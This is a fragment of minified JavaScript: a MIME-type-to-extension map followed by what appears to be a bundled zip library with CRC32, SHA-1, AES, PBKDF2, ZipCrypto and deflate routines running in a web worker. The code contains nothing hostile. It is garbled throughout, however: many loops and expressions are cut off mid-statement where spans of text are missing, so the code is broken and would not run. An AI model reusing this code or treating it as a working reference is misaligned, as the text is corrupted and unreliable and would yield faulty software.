.wqd":"wqd","vnd.wt.stf":"stf","vnd.xara":"xar","vnd.xfdl":"xfdl","vnd.yamaha.hv-dic":"hvd","vnd.yamaha.hv-script":"hvs","vnd.yamaha.hv-voice":"hvp","vnd.yamaha.openscoreformat":"osf","vnd.yamaha.openscoreformat.osfpvg+xml":"osfpvg","vnd.yamaha.smaf-audio":"saf","vnd.yamaha.smaf-phrase":"spf","vnd.yellowriver-custom-menu":"cmp","vnd.zul":["zir","zirz"],"vnd.zzazz.deck+xml":"zaz","voicexml+xml":"vxml",widget:"wgt",winhlp:"hlp","wsdl+xml":"wsdl","wspolicy+xml":"wspolicy","x-ace-compressed":"ace","x-authorware-bin":["aab","x32","u32","vox"],"x-authorware-map":"aam","x-authorware-seg":"aas","x-blorb":["blb","blorb"],"x-bzip":"bz","x-bzip2":["bz2","boz"],"x-cfs-compressed":"cfs","x-chat":"chat","x-conference":"nsc","x-dgc-compressed":"dgc","x-dtbncx+xml":"ncx","x-dtbook+xml":"dtb","x-dtbresource+xml":"res","x-eva":"eva","x-font-bdf":"bdf","x-font-ghostscript":"gsf","x-font-linux-psf":"psf","x-font-otf":"otf","x-font-pcf":"pcf","x-font-snf":"snf","x-font-ttf":["ttf","ttc"],"x-font-type1":["pfa","pfb","pfm","afm"],"x-font-woff":"woff","x-freearc":"arc","x-gca-compressed":"gca","x-glulx":"ulx","x-gramps-xml":"gramps","x-install-instructions":"install","x-lzh-compressed":["lzh","lha"],"x-mie":"mie","x-mobipocket-ebook":["prc","mobi"],"x-ms-application":"application","x-ms-shortcut":"lnk","x-ms-xbap":"xbap","x-msbinder":"obd","x-mscardfile":"crd","x-msclip":"clp","x-msdownload":["exe","dll","com","bat","msi"],"x-msmediaview":["mvb","m13","m14"],"x-msmetafile":["wmf","wmz","emf","emz"],"x-msmoney":"mny","x-mspublisher":"pub","x-msschedule":"scd","x-msterminal":"trm","x-mswrite":"wri","x-nzb":"nzb","x-pkcs12":["p12","pfx"],"x-pkcs7-certificates":["p7b","spc"],"x-research-info-systems":"ris","x-silverlight-app":"xap","x-sql":"sql","x-stuffitx":"sitx","x-subrip":"srt","x-t3vm-image":"t3","x-tads":"gam","x-tex":"tex","x-tex-tfm":"tfm","x-tgif":"obj","x-xliff+xml":"xlf","x-xz":"xz","x-zmachine":["z1","z2","z3","z4","z5","z6","z7","z8"],"xaml+xml":"xaml","xcap-diff+xml":"xdf","xenc+xml":"xenc","xml-dtd":"dtd","xop+xml":"xop","xproc+xml":"xpl","xslt+xml":"xslt","xv+xml":["mxml","xhvml","xvml","xvm"],yang:"yang","yin+xml":"yin",envoy:"evy",fractals:"fif","internet-property-stream":"acx",olescript:"axs","vnd.ms-outlook":"msg","vnd.ms-pkicertstore":"sst","x-compress":"z","x-compressed":"tgz","x-gzip":"gz","x-perfmon":["pma","pmc","pml","pmr","pmw"],"x-pkcs7-mime":["p7c","p7m"],"ynd.ms-pkipko":"pko"},audio:{amr:"amr","amr-wb":"awb",annodex:"axa",basic:["au","snd"],flac:"flac",midi:["mid","midi","kar","rmi"],mpeg:["mpga","mpega","mp2","mp3","m4a","mp2a","m2a","m3a"],mpegurl:"m3u",ogg:["oga","ogg","spx"],"prs.sid":"sid","x-aiff":["aif","aiff","aifc"],"x-gsm":"gsm","x-ms-wma":"wma","x-ms-wax":"wax","x-pn-realaudio":"ram","x-realaudio":"ra","x-sd2":"sd2","x-wav":"wav",adpcm:"adp",mp4:"mp4a",s3m:"s3m",silk:"sil","vnd.dece.audio":["uva","uvva"],"vnd.digital-winds":"eol","vnd.dra":"dra","vnd.dts":"dts","vnd.dts.hd":"dtshd","vnd.lucent.voice":"lvp","vnd.ms-playready.media.pya":"pya","vnd.nuera.ecelp4800":"ecelp4800","vnd.nuera.ecelp7470":"ecelp7470","vnd.nuera.ecelp9600":"ecelp9600","vnd.rip":"rip",webm:"weba","x-aac":"aac","x-caf":"caf","x-matroska":"mka","x-pn-realaudio-plugin":"rmp",xm:"xm",mid:["mid","rmi"]},chemical:{"x-alchemy":"alc","x-cache":["cac","cache"],"x-cache-csf":"csf","x-cactvs-binary":["cbin","cascii","ctab"],"x-cdx":"cdx","x-chem3d":"c3d","x-cif":"cif","x-cmdf":"cmdf","x-cml":"cml","x-compass":"cpa","x-crossfire":"bsd","x-csml":["csml","csm"],"x-ctx":"ctx","x-cxf":["cxf","cef"],"x-embl-dl-nucleotide":["emb","embl"],"x-gamess-input":["inp","gam","gamin"],"x-gaussian-checkpoint":["fch","fchk"],"x-gaussian-cube":"cub","x-gaussian-input":["gau","gjc","gjf"],"x-gaussian-log":"gal","x-gcg8-sequence":"gcg","x-genbank":"gen","x-hin":"hin","x-isostar":["istr","ist"],"x-jcamp-dx":["jdx","dx"],"x-kinemage":"kin","x-macmolecule":"mcm","x-macromodel-input":["mmd","mmod"],"x-mdl-molfile":"mol","x-mdl-rdfile":"rd","x-mdl-rxnfile":"rxn","x-mdl-sdfile":["sd","sdf"],"x-mdl-tgf":"tgf","x-mmcif":"mcif","x-mol2":"mol2","x-molconn-Z":"b","x-mopac-graph":"gpt","x-mopac-input":["mop","mopcrt","mpc","zmt"],"x-mopac-out":"moo","x-ncbi-asn1":"asn","x-ncbi-asn1-ascii":["prt","ent"],"x-ncbi-asn1-binary":["val","aso"],"x-pdb":["pdb","ent"],"x-rosdal":"ros","x-swissprot":"sw","x-vamas-iso14976":"vms","x-vmd":"vmd","x-xtel":"xtel","x-xyz":"xyz"},image:{gif:"gif",ief:"ief",jpeg:["jpeg","jpg","jpe"],pcx:"pcx",png:"png","svg+xml":["svg","svgz"],tiff:["tiff","tif"],"vnd.djvu":["djvu","djv"],"vnd.wap.wbmp":"wbmp","x-canon-cr2":"cr2","x-canon-crw":"crw","x-cmu-raster":"ras","x-coreldraw":"cdr","x-coreldrawpattern":"pat","x-coreldrawtemplate":"cdt","x-corelphotopaint":"cpt","x-epson-erf":"erf","x-icon":"ico","x-jg":"art","x-jng":"jng","x-nikon-nef":"nef","x-olympus-orf":"orf","x-photoshop":"psd","x-portable-anymap":"pnm","x-portable-bitmap":"pbm","x-portable-graymap":"pgm","x-portable-pixmap":"ppm","x-rgb":"rgb","x-xbitmap":"xbm","x-xpixmap":"xpm","x-xwindowdump":"xwd",bmp:"bmp",cgm:"cgm",g3fax:"g3",ktx:"ktx","prs.btif":"btif",sgi:"sgi","vnd.dece.graphic":["uvi","uvvi","uvg","uvvg"],"vnd.dwg":"dwg","vnd.dxf":"dxf","vnd.fastbidsheet":"fbs","vnd.fpx":"fpx","vnd.fst":"fst","vnd.fujixerox.edmics-mmr":"mmr","vnd.fujixerox.edmics-rlc":"rlc","vnd.ms-modi":"mdi","vnd.ms-photo":"wdp","vnd.net-fpx":"npx","vnd.xiff":"xif",webp:"webp","x-3ds":"3ds","x-cmx":"cmx","x-freehand":["fh","fhc","fh4","fh5","fh7"],"x-pict":["pic","pct"],"x-tga":"tga","cis-cod":"cod",pipeg:"jfif"},message:{rfc822:["eml","mime","mht","mhtml","nws"]},model:{iges:["igs","iges"],mesh:["msh","mesh","silo"],vrml:["wrl","vrml"],"x3d+vrml":["x3dv","x3dvz"],"x3d+xml":["x3d","x3dz"],"x3d+binary":["x3db","x3dbz"],"vnd.collada+xml":"dae","vnd.dwf":"dwf","vnd.gdl":"gdl","vnd.gtw":"gtw","vnd.mts":"mts","vnd.vtu":"vtu"},text:{"cache-manifest":["manifest","appcache"],calendar:["ics","icz","ifb"],css:"css",csv:"csv",h323:"323",html:["html","htm","shtml","stm"],iuls:"uls",mathml:"mml",plain:["txt","text","brf","conf","def","list","log","in","bas"],richtext:"rtx",scriptlet:["sct","wsc"],texmacs:["tm","ts"],"tab-separated-values":"tsv","vnd.sun.j2me.app-descriptor":"jad","vnd.wap.wml":"wml","vnd.wap.wmlscript":"wmls","x-bibtex":"bib","x-boo":"boo","x-c++hdr":["h++","hpp","hxx","hh"],"x-c++src":["c++","cpp","cxx","cc"],"x-component":"htc","x-dsrc":"d","x-diff":["diff","patch"],"x-haskell":"hs","x-java":"java","x-literate-haskell":"lhs","x-moc":"moc","x-pascal":["p","pas"],"x-pcs-gcd":"gcd","x-perl":["pl","pm"],"x-python":"py","x-scala":"scala","x-setext":"etx","x-tcl":["tcl","tk"],"x-tex":["tex","ltx","sty","cls"],"x-vcalendar":"vcs","x-vcard":"vcf",n3:"n3","prs.lines.tag":"dsc",sgml:["sgml","sgm"],troff:["t","tr","roff","man","me","ms"],turtle:"ttl","uri-list":["uri","uris","urls"],vcard:"vcard","vnd.curl":"curl","vnd.curl.dcurl":"dcurl","vnd.curl.scurl":"scurl","vnd.curl.mcurl":"mcurl","vnd.dvb.subtitle":"sub","vnd.fly":"fly","vnd.fmi.flexstor":"flx","vnd.graphviz":"gv","vnd.in3d.3dml":"3dml","vnd.in3d.spot":"spot","x-asm":["s","asm"],"x-c":["c","cc","cxx","cpp","h","hh","dic"],"x-fortran":["f","for","f77","f90"],"x-opml":"opml","x-nfo":"nfo","x-sfv":"sfv","x-uuencode":"uu",webviewhtml:"htt"},video:{avif:".avif","3gpp":"3gp",annodex:"axv",dl:"dl",dv:["dif","dv"],fli:"fli",gl:"gl",mpeg:["mpeg","mpg","mpe","m1v","m2v","mp2","mpa","mpv2"],mp4:["mp4","mp4v","mpg4"],quicktime:["qt","mov"],ogg:"ogv","vnd.mpegurl":["mxu","m4u"],"x-flv":"flv","x-la-asf":["lsf","lsx"],"x-mng":"mng","x-ms-asf":["asf","asx","asr"],"x-ms-wm":"wm","x-ms-wmv":"wmv","x-ms-wmx":"wmx","x-ms-wvx":"wvx","x-msvideo":"avi","x-sgi-movie":"movie","x-matroska":["mpv","mkv","mk3d","mks"],"3gpp2":"3g2",h261:"h261",h263:"h263",h264:"h264",jpeg:"jpgv",jpm:["jpm","jpgm"],mj2:["mj2","mjp2"],"vnd.dece.hd":["uvh","uvvh"],"vnd.dece.mobile":["uvm","uvvm"],"vnd.dece.pd":["uvp","uvvp"],"vnd.dece.sd":["uvs","uvvs"],"vnd.dece.video":["uvv","uvvv"],"vnd.dvb.file":"dvb","vnd.fvt":"fvt","vnd.ms-playready.media.pyv":"pyv","vnd.uvvu.mp4":["uvu","uvvu"],"vnd.vivo":"viv",webm:"webm","x-f4v":"f4v","x-m4v":"m4v","x-ms-vob":"vob","x-smv":"smv"},"x-conference":{"x-cooltalk":"ice"},"x-world":{"x-vrml":["vrm","vrml","wrl","flr","wrz","xaf","xof"]}};(()=>{let n={};for(let t in cn)if(cn.hasOwnProperty(t)){for(let e in cn[t])if(cn[t].hasOwnProperty(e)){let a=cn[t][e];if(typeof a=="string")n[a]=t+"/"+e;else for(let s=0;s{if(typeof URL.createObjectURL=="function"){let n=(()=>{let e=[];for(let o=0;o<256;o++){let r=o;for(let i=0;i<8;i++)1&r?r=r>>>1^3988292384:r>>>=1;e[o]=r}class a{constructor(r){this.crc=r||-1}append(r){let i=0|this.crc;for(let d=0,h=0|r.length;d>>8^e[255&(i^r[d])];this.crc=i}get(){return~this.crc}}let s={concat(o,r){if(o.length===0||r.length===0)return o.concat(r);let i=o[o.length-1],d=s.getPartial(i);return d===32?o.concat(r):s._shiftRight(r,d,0|i,o.slice(0,o.length-1))},bitLength(o){let r=o.length;if(r===0)return 0;let i=o[r-1];return 32*(r-1)+s.getPartial(i)},clamp(o,r){if(32*o.length0&&r&&(o[i-1]=s.partial(r,o[i-1]&2147483648>>r-1,1)),o},partial:(o,r,i)=>o===32?r:(i?0|r:r<<32-o)+1099511627776*o,getPartial:o=>Math.round(o/1099511627776)||32,_shiftRight(o,r,i,d){for(d===void 0&&(d=[]);r>=32;r-=32)d.push(i),i=0;if(r===0)return d.concat(o);for(let f=0;f>>r),i=o[f]<<32-r;let h=o.length?o[o.length-1]:0,l=s.getPartial(h);return d.push(s.partial(r+l&31,r+l>32?i:d.pop(),1)),d}},c={bytes:{fromBits(o){let r=s.bitLength(o)/8,i=new Uint8Array(r),d;for(let h=0;h>>24,d<<=8;return i},toBits(o){let r=[],i,d=0;for(i=0;i9007199254740991)throw new Error("Cannot hash more than 2^53 - 1 bits");let l=new Uint32Array(i),f=0;for(let m=r.blockSize+d-(r.blockSize+d&r.blockSize-1);m<=h;m+=r.blockSize)r._block(l.subarray(16*f,16*(f+1))),f+=1;return i.splice(0,16*f),r},finalize:function(){let o=this,r=o._buffer,i=o._h;r=s.concat(r,[s.partial(1,1)]);for(let d=r.length+2;15&d;d++)r.push(0);for(r.push(Math.floor(o._length/4294967296)),r.push(0|o._length);r.length;)o._block(r.splice(0,16));return o.reset(),i},_init:[1732584193,4023233417,2562383102,271733878,3285377520],_key:[1518500249,1859775393,2400959708,3395469782],_f:function(o,r,i,d){return o<=19?r&i|~r&d:o<=39?r^i^d:o<=59?r&i|r&d|i&d:o<=79?r^i^d:void 0},_S:function(o,r){return r<>>32-o},_block:function(o){let r=this,i=r._h,d=Array(80);for(let A=0;A<16;A++)d[A]=o[A];let h=i[0],l=i[1],f=i[2],m=i[3],x=i[4];for(let A=0;A<=79;A++){A>=16&&(d[A]=r._S(1,d[A-3]^d[A-8]^d[A-14]^d[A-16]));let T=r._S(5,h)+r._f(A,l,f,m)+x+d[A]+r._key[Math.floor(A/20)]|0;x=m,m=f,f=r._S(30,l),l=h,h=T}i[0]=i[0]+h|0,i[1]=i[1]+l|0,i[2]=i[2]+f|0,i[3]=i[3]+m|0,i[4]=i[4]+x|0}};let v=class{constructor(o){let r=this;r._tables=[[[],[],[],[],[]],[[],[],[],[],[]]],r._tables[0][0][0]||r._precompute();let i=r._tables[0][4],d=r._tables[1],h=o.length,l,f,m,x=1;if(h!==4&&h!==6&&h!==8)throw new Error("invalid aes key size");for(r._key=[f=o.slice(0),m=[]],l=h;l<4*h+28;l++){let A=f[l-1];(l%h==0||h===8&&l%h==4)&&(A=i[A>>>24]<<24^i[A>>16&255]<<16^i[A>>8&255]<<8^i[255&A],l%h==0&&(A=A<<8^A>>>24^x<<24,x=x<<1^283*(x>>7))),f[l]=f[l-h]^A}for(let A=0;l;A++,l--){let T=f[3&A?l:l-4];m[A]=l<=4||A<4?T:d[0][i[T>>>24]]^d[1][i[T>>16&255]]^d[2][i[T>>8&255]]^d[3][i[255&T]]}}encrypt(o){return this._crypt(o,0)}decrypt(o){return this._crypt(o,1)}_precompute(){let o=this._tables[0],r=this._tables[1],i=o[4],d=r[4],h=[],l=[],f,m,x,A;for(let T=0;T<256;T++)l[(h[T]=T<<1^283*(T>>7))^T]=T;for(let T=f=0;!i[T];T^=m||1,f=l[f]||1){let N=f^f<<1^f<<2^f<<3^f<<4;N=N>>8^255&N^99,i[T]=N,d[N]=T,A=h[x=h[m=h[T]]];let W=16843009*A^65537*x^257*m^16843008*T,oe=257*h[N]^16843008*N;for(let k=0;k<4;k++)o[k][T]=oe=oe<<24^oe>>>8,r[k][N]=W=W<<24^W>>>8}for(let T=0;T<5;T++)o[T]=o[T].slice(0),r[T]=r[T].slice(0)}_crypt(o,r){if(o.length!==4)throw new Error("invalid aes block size");let i=this._key[r],d=i.length/4-2,h=[0,0,0,0],l=this._tables[r],f=l[0],m=l[1],x=l[2],A=l[3],T=l[4],N,W,oe,k=o[0]^i[0],P=o[r?3:1]^i[1],p=o[2]^i[2],g=o[r?1:3]^i[3],R=4;for(let j=0;j>>24]^m[P>>16&255]^x[p>>8&255]^A[255&g]^i[R],W=f[P>>>24]^m[p>>16&255]^x[g>>8&255]^A[255&k]^i[R+1],oe=f[p>>>24]^m[g>>16&255]^x[k>>8&255]^A[255&P]^i[R+2],g=f[g>>>24]^m[k>>16&255]^x[P>>8&255]^A[255&p]^i[R+3],R+=4,k=N,P=W,p=oe;for(let j=0;j<4;j++)h[r?3&-j:j]=T[k>>>24]<<24^T[P>>16&255]<<16^T[p>>8&255]<<8^T[255&g]^i[R++],N=k,k=P,P=p,p=g,g=N;return h}},b=class{constructor(o,r){this._prf=o,this._initIv=r,this._iv=r}reset(){this._iv=this._initIv}update(o){return this.calculate(this._prf,o,this._iv)}incWord(o){if((o>>24&255)==255){let r=o>>16&255,i=o>>8&255,d=255&o;r===255?(r=0,i===255?(i=0,d===255?d=0:++d):++i):++r,o=0,o+=r<<16,o+=i<<8,o+=d}else o+=1<<24;return o}incCounter(o){(o[0]=this.incWord(o[0]))===0&&(o[1]=this.incWord(o[1]))}calculate(o,r,i){let d;if(!(d=r.length))return[];let h=s.bitLength(r);for(let l=0;lh&&(o=i.hash(o));for(let l=0;lx.length){let T=x;(x=new Uint8Array(A)).set(T,0)}return x}(i,f-f%16)),m=0;m<=f-16;m+=16){let x=I.toBits(H(r,m,m+16));l&&o.hmac.update(x);let A=o.aesCtrGladman.update(x);l||o.hmac.update(A),i.set(I.fromBits(A),m+d)}return o.pendingInput=H(r,m),i}async function G(o,r,i){let d=new TextEncoder().encode(r),h=await w.importKey("raw",d,D,!1,Y),l=await w.deriveBits(Object.assign({salt:i},O),h,8*(2*y[o.strength]+2)),f=new Uint8Array(l);o.keys={key:I.toBits(H(f,0,y[o.strength])),authentication:I.toBits(H(f,y[o.strength],2*y[o.strength])),passwordVerification:H(f,2*y[o.strength])}}function Z(o,r){let i=o;return o.length+r.length&&(i=new Uint8Array(o.length+r.length),i.set(o,0),i.set(r,o.length)),i}function H(o,r,i){return o.subarray(r,i)}class me{constructor(r,i){Object.assign(this,{password:r,passwordVerification:i}),le(this,r)}async append(r){let i=this;if(i.password){let d=Ee(i,r.subarray(0,12));if(i.password=null,d[11]!=i.passwordVerification)throw new Error("Invalid pasword");r=r.subarray(12)}return Ee(i,r)}async flush(){return{valid:!0,data:new Uint8Array(0)}}}class re{constructor(r,i){Object.assign(this,{password:r,passwordVerification:i}),le(this,r)}async append(r){let i=this,d,h;if(i.password){i.password=null;let l=crypto.getRandomValues(new Uint8Array(12));l[11]=i.passwordVerification,d=new Uint8Array(r.length+l.length),d.set(de(i,l),0),h=12}else d=new Uint8Array(r.length),h=0;return d.set(de(i,r),h),d}async flush(){return{data:new Uint8Array(0)}}}function Ee(o,r){let i=new Uint8Array(r.length);for(let d=0;d>>24]),o.keys[2]=~o.crcKey2.get()}function Ae(o){let r=2|o.keys[2];return at(Math.imul(r,1^r)>>>8)}function at(o){return 255&o}function fe(o){return 4294967295&o}class dt{constructor(r,{signature:i,password:d,signed:h,compressed:l,zipCrypto:f,passwordVerification:m,encryptionStrength:x},{chunkSize:A}){let T=!!d;Object.assign(this,{signature:i,encrypted:T,signed:h,compressed:l,inflate:l&&new r({chunkSize:A}),crc32:h&&new a,zipCrypto:f,decrypt:T&&f?new me(d,m):new C(d,h,x)})}async append(r){let i=this;return i.encrypted&&r.length&&(r=await i.decrypt.append(r)),i.compressed&&r.length&&(r=await i.inflate.append(r)),(!i.encrypted||i.zipCrypto)&&i.signed&&r.length&&i.crc32.append(r),r}async flush(){let r=this,i,d=new Uint8Array(0);if(r.encrypted){let h=await r.decrypt.flush();if(!h.valid)throw new Error("Invalid signature");d=h.data}if((!r.encrypted||r.zipCrypto)&&r.signed){let h=new DataView(new Uint8Array(4).buffer);if(i=r.crc32.get(),h.setUint32(0,i),r.cipher!=h.getUint32(0,!1))throw new Error("Invalid signature")}return r.compressed&&(d=await r.inflate.append(d)||new Uint8Array(0),await r.inflate.flush()),{data:d,signature:i}}}class Se{constructor(r,{encrypted:i,signed:d,compressed:h,level:l,zipCrypto:f,password:m,passwordVerification:x,encryptionStrength:A},{chunkSize:T}){Object.assign(this,{encrypted:i,signed:d,compressed:h,deflate:h&&new r({level:l||5,chunkSize:T}),crc32:d&&new a,zipCrypto:f,encrypt:i&&f?new re(m,x):new B(m,A)})}async append(r){let i=this,d=r;return i.compressed&&r.length&&(d=await i.deflate.append(r)),i.encrypted&&d.length&&(d=await i.encrypt.append(d)),(!i.encrypted||i.zipCrypto)&&i.signed&&r.length&&i.crc32.append(r),d}async flush(){let r=this,i,d=new Uint8Array(0);if(r.compressed&&(d=await r.deflate.flush()||new Uint8Array(0)),r.encrypted){d=await r.encrypt.append(d);let h=await r.encrypt.flush();i=h.signature;let l=new Uint8Array(d.length+h.data.length);l.set(d,0),l.set(h.data,d.length),d=l}return r.encrypted&&!r.zipCrypto||!r.signed||(i=r.crc32.get()),{data:d,signature:i}}}let ke={init(o){o.scripts&&o.scripts.length&&importScripts.apply(void 0,o.scripts);let r=o.options,i;self.initCodec&&self.initCodec(),r.codecType.startsWith("deflate")?i=self.Deflate:r.codecType.startsWith("inflate")&&(i=self.Inflate),ht=function(d,h,l){return h.codecType.startsWith("deflate")?new Se(d,h,l):h.codecType.startsWith("inflate")?new dt(d,h,l):void 0}(i,r,o.config)},append:async o=>({data:await ht.append(o.data)}),flush:()=>ht.flush()},ht;function Nt(o){return o.map(([r,i])=>new Array(r).fill(i,0,r)).flat()}addEventListener("message",async o=>{let r=o.data,i=r.type,d=ke[i];if(d)try{r.data&&(r.data=new Uint8Array(r.data));let h=await d(r)||{};if(h.type=i,h.data)try{h.data=h.data.buffer,postMessage(h,[h.data])}catch{postMessage(h)}else postMessage(h)}catch(h){postMessage({type:i,error:{message:h.message,stack:h.stack}})}});let vt=[0,1,2,3].concat(...Nt([[2,4],[2,5],[4,6],[4,7],[8,8],[8,9],[16,10],[16,11],[32,12],[32,13],[64,14],[64,15],[2,0],[1,16],[1,17],[2,18],[2,19],[4,20],[4,21],[8,22],[8,23],[16,24],[16,25],[32,26],[32,27],[64,28],[64,29]]));function we(){let o=this;function r(i,d){let h=0;do h|=1&i,i>>>=1,h<<=1;while(--d>0);return h>>>1}o.build_tree=function(i){let d=o.dyn_tree,h=o.stat_desc.static_tree,l=o.stat_desc.elems,f,m,x,A=-1;for(i.heap_len=0,i.heap_max=573,f=0;f=1;f--)i.pqdownheap(d,f);x=l;do f=i.heap[1],i.heap[1]=i.heap[i.heap_len--],i.pqdownheap(d,1),m=i.heap[1],i.heap[--i.heap_max]=f,i.heap[--i.heap_max]=m,d[2*x]=d[2*f]+d[2*m],i.depth[x]=Math.max(i.depth[f],i.depth[m])+1,d[2*f+1]=d[2*m+1]=x,i.heap[1]=x++,i.pqdownheap(d,1);while(i.heap_len>=2);i.heap[--i.heap_max]=i.heap[1],function(T){let N=o.dyn_tree,W=o.stat_desc.static_tree,oe=o.stat_desc.extra_bits,k=o.stat_desc.extra_base,P=o.stat_desc.max_length,p,g,R,j,te,F,q=0;for(j=0;j<=15;j++)T.bl_count[j]=0;for(N[2*T.heap[T.heap_max]+1]=0,p=T.heap_max+1;p<573;p++)g=T.heap[p],j=N[2*N[2*g+1]+1]+1,j>P&&(j=P,q++),N[2*g+1]=j,g>o.max_code||(T.bl_count[j]++,te=0,g>=k&&(te=oe[g-k]),F=N[2*g],T.opt_len+=F*(j+te),W&&(T.static_len+=F*(W[2*g+1]+te)));if(q!==0){do{for(j=P-1;T.bl_count[j]===0;)j--;T.bl_count[j]--,T.bl_count[j+1]+=2,T.bl_count[P]--,q-=2}while(q>0);for(j=P;j!==0;j--)for(g=T.bl_count[j];g!==0;)R=T.heap[--p],R>o.max_code||(N[2*R+1]!=j&&(T.opt_len+=(j-N[2*R+1])*N[2*R],N[2*R+1]=j),g--)}}(i),function(T,N,W){let oe=[],k,P,p,g=0;for(k=1;k<=15;k++)oe[k]=g=g+W[k-1]<<1;for(P=0;P<=N;P++)p=T[2*P+1],p!==0&&(T[2*P]=r(oe[p]++,p))}(d,o.max_code,i.bl_count)}}function Te(o,r,i,d,h){let l=this;l.static_tree=o,l.extra_bits=r,l.extra_base=i,l.elems=d,l.max_length=h}function et(o,r,i,d,h){let l=this;l.good_length=o,l.max_lazy=r,l.nice_length=i,l.max_chain=d,l.func=h}we._length_code=[0,1,2,3,4,5,6,7].concat(...Nt([[2,8],[2,9],[2,10],[2,11],[4,12],[4,13],[4,14],[4,15],[8,16],[8,17],[8,18],[8,19],[16,20],[16,21],[16,22],[16,23],[32,24],[32,25],[32,26],[31,27],[1,28]])),we.base_length=[0,1,2,3,4,5,6,7,8,10,12,14,16,20,24,28,32,40,48,56,64,80,96,112,128,160,192,224,0],we.base_dist=[0,1,2,3,4,6,8,12,16,24,32,48,64,96,128,192,256,384,512,768,1024,1536,2048,3072,4096,6144,8192,12288,16384,24576],we.d_code=function(o){return o<256?vt[o]:vt[256+(o>>>7)]},we.extra_lbits=[0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0],we.extra_dbits=[0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13],we.extra_blbits=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7],we.bl_order=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],Te.static_ltree=[12,8,140,8,76,8,204,8,44,8,172,8,108,8,236,8,28,8,156,8,92,8,220,8,60,8,188,8,124,8,252,8,2,8,130,8,66,8,194,8,34,8,162,8,98,8,226,8,18,8,146,8,82,8,210,8,50,8,178,8,114,8,242,8,10,8,138,8,74,8,202,8,42,8,170,8,106,8,234,8,26,8,154,8,90,8,218,8,58,8,186,8,122,8,250,8,6,8,134,8,70,8,198,8,38,8,166,8,102,8,230,8,22,8,150,8,86,8,214,8,54,8,182,8,118,8,246,8,14,8,142,8,78,8,206,8,46,8,174,8,110,8,238,8,30,8,158,8,94,8,222,8,62,8,190,8,126,8,254,8,1,8,129,8,65,8,193,8,33,8,161,8,97,8,225,8,17,8,145,8,81,8,209,8,49,8,177,8,113,8,241,8,9,8,137,8,73,8,201,8,41,8,169,8,105,8,233,8,25,8,153,8,89,8,217,8,57,8,185,8,121,8,249,8,5,8,133,8,69,8,197,8,37,8,165,8,101,8,229,8,21,8,149,8,85,8,213,8,53,8,181,8,117,8,245,8,13,8,141,8,77,8,205,8,45,8,173,8,109,8,237,8,29,8,157,8,93,8,221,8,61,8,189,8,125,8,253,8,19,9,275,9,147,9,403,9,83,9,339,9,211,9,467,9,51,9,307,9,179,9,435,9,115,9,371,9,243,9,499,9,11,9,267,9,139,9,395,9,75,9,331,9,203,9,459,9,43,9,299,9,171,9,427,9,107,9,363,9,235,9,491,9,27,9,283,9,155,9,411,9,91,9,347,9,219,9,475,9,59,9,315,9,187,9,443,9,123,9,379,9,251,9,507,9,7,9,263,9,135,9,391,9,71,9,327,9,199,9,455,9,39,9,295,9,167,9,423,9,103,9,359,9,231,9,487,9,23,9,279,9,151,9,407,9,87,9,343,9,215,9,471,9,55,9,311,9,183,9,439,9,119,9,375,9,247,9,503,9,15,9,271,9,143,9,399,9,79,9,335,9,207,9,463,9,47,9,303,9,175,9,431,9,111,9,367,9,239,9,495,9,31,9,287,9,159,9,415,9,95,9,351,9,223,9,479,9,63,9,319,9,191,9,447,9,127,9,383,9,255,9,511,9,0,7,64,7,32,7,96,7,16,7,80,7,48,7,112,7,8,7,72,7,40,7,104,7,24,7,88,7,56,7,120,7,4,7,68,7,36,7,100,7,20,7,84,7,52,7,116,7,3,8,131,8,67,8,195,8,35,8,163,8,99,8,227,8],Te.static_dtree=[0,5,16,5,8,5,24,5,4,5,20,5,12,5,28,5,2,5,18,5,10,5,26,5,6,5,22,5,14,5,30,5,1,5,17,5,9,5,25,5,5,5,21,5,13,5,29,5,3,5,19,5,11,5,27,5,7,5,23,5],Te.static_l_desc=new Te(Te.static_ltree,we.extra_lbits,257,286,15),Te.static_d_desc=new Te(Te.static_dtree,we.extra_dbits,0,30,15),Te.static_bl_desc=new Te(null,we.extra_blbits,0,19,7);let We=[new et(0,0,0,0,0),new et(4,4,8,4,1),new et(4,5,16,8,1),new et(4,6,32,32,1),new et(4,4,16,16,2),new et(8,16,32,32,2),new et(8,16,128,128,2),new et(8,32,128,256,2),new et(32,128,258,1024,2),new et(32,258,258,4096,2)],$t=["need dictionary","stream end","","","stream error","data error","","buffer error","",""];function Xt(o,r,i,d){let h=o[2*r],l=o[2*i];return h>>8&255)}function qe(X,Q){let ne,ie=Q;Pe>16-ie?(ne=X,tt|=ne<>>16-Pe,Pe+=ie-16):(tt|=X<=8&&(Ht(255&tt),tt>>>=8,Pe-=8)}function nn(X,Q){let ne,ie,J;if(o.pending_buf[zt+2*Ie]=X>>>8&255,o.pending_buf[zt+2*Ie+1]=255&X,o.pending_buf[Et+Ie]=255&Q,Ie++,X===0?ge[2*Q]++:(Zn++,X--,ge[2*(we._length_code[Q]+256+1)]++,ce[2*we.d_code(X)]++),(8191&Ie)==0&&K>2){for(ne=8*Ie,ie=F-g,J=0;J<30;J++)ne+=ce[2*J]*(5+we.extra_dbits[J]);if(ne>>>=3,Zn8?tn(tt):Pe>0&&Ht(255&tt),tt=0,Pe=0}function Ni(X,Q,ne){qe(0+(ne?1:0),3),function(ie,J,_e){ji(),en=8,tn(J),tn(~J),o.pending_buf.set(x.subarray(ie,ie+J),o.pending),o.pending+=J}(X,Q)}function gr(X,Q,ne){let ie,J,_e=0;K>0?(yt.build_tree(o),kt.build_tree(o),_e=function(){let be;for(Fi(ge,yt.max_code),Fi(ce,kt.max_code),he.build_tree(o),be=18;be>=3&&xe[2*we.bl_order[be]+1]===0;be--);return o.opt_len+=3*(be+1)+5+5+4,be}(),ie=o.opt_len+3+7>>>3,J=o.static_len+3+7>>>3,J<=ie&&(ie=J)):ie=J=Q+5,Q+4<=ie&&X!=-1?Ni(X,Q,ne):J==ie?(qe(2+(ne?1:0),3),Mi(Te.static_ltree,Te.static_dtree)):(qe(4+(ne?1:0),3),function(be,Me,De){let Be;for(qe(be-257,5),qe(Me-1,5),qe(De-4,4),Be=0;Be=0?g:-1,F-g,X),g=F,r.flush_pending()}function Kn(){let X,Q,ne,ie;do{if(ie=A-S-F,ie===0&&F===0&&S===0)ie=l;else 